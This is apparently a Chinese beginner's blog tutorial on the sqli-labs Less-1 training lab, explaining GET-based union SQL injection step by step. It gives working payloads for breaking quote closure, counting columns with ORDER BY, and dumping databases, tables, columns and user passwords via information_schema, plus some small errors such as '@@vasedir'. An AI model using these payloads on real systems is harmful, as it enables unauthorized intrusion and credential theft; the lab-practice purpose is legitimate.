新人学习sqli-labs!最全教程(更新中)
sqli-less1
已知是GET的注入方式
大概思路:
- 找到注入点
- 判断是否有注入
- 闭合的方式
- 注入的类型
- 查字段
- 查库
- 查表
- 查列,查数据
流程
已知是GET的请求方式,即在URL上进行注入
尝试在url后添加一个参数id,http://127.0.0.1/sqli/Less-1/?id=1
添加参数后在进行访问,发现添加的参数 id=1 被当成一个语句来执行,然后查询出了id值为1的用户名与密码(Dumb、Dumb)
尝试判断整数型 or 字符型
判断的方法:输入单引号,查看是否报错。
可以看到,后台的数据库出现了报错的情况,那么是否可以判断是整型注入?
不能
因为还没有进行注释,
MYSQL有三种注释符,分别是单行注释符:#、–空格(就是横杠横杠空格),和多行注释符:/**/
因为我们的语句还不算完整,
一般的代码:$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
就是这里,对id进行了修饰,用'(单引号)把id括了起来。所以我们构造语句的时候,一是要把我们构造的语句‘逃逸’出来,二是要把结构进行补全或者适当的注释。
注释可以用--+;-- -;#把后面的'或者多余的修饰符注释掉,
使用--+ 进行注释后 http://127.0.0.1/sqlishiyo/Less-1/?id=1 --+
发现添加了一个--+,与没添加的结果都是一样,那是不是多此一举?
并不是,上面说了,我们要把构造的语句逃逸出来,让数据库执行我们的语句,于是就有了该去如何闭合这一问题
举个例子
id=1
后台的查询语句大概为
"select * from user where id='$id' limit0,1"
$id=$GET['id']
当传入一个id=1
“select *from user where id ='‘1'’ limit 0,1”
即语句可以被后台的数据库执行,但是输入了id =1'
即语句变成了" select * from user where id ="1''' limit 0,1" (红色即会报错字段,因为没有闭合)
可能还有的同学不懂,更简单一些:
你说:“吃饭了吗?’ 你觉得我这样写会对吗?即便是人还可以尝试理解一下,但是数据库那边是不能理解,还会有打你的冲动(虽然它不会打人),但是会进行报错
查字段 order by
为什么要查字段? 因为爱?因为我们所使用的函数的特性
union select
使用这个语句要与字段数相符合,
URL http://127.0.0.1/sqli/Less-1/?id=1' order by 4 --+
出现了一个报错
order by 3
说明字段数是3
知道字段数 ,就可以使用联合查询
union select 1,2,3...... order by x x为多少 ,就select 1,2,3....x。。。。这样可以显示我们插入的语句的返回位置
URL http://127.0.0.1/sqli/Less-1/?id=1' union select 1,2,3 --+
为什么还是这个页面呢?因为一个特性,当union select 前的语句为假,则是执行后面的语句,
当为真的时候,则不执行后面的语句(这里特性记得不是很清楚,但是大概原理还是记得)
所以:
URL http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
发现 回显的位置 是 2,3
在页面中回显的位置是 name passwd
所以 我们后续修改语句 就在2,3 的位置进行修改
一些数据库的词
user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
@@vasedir:mysql安装路径
@@version_compile_os:操作系统
concat():连接一个或者多个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据
查看所有库:union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看所有表union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='(库名)'--+
查看指定列 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'
查数据 union select 1,group_concat(username),group_concat(password) from users--+
整数型也是如此
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步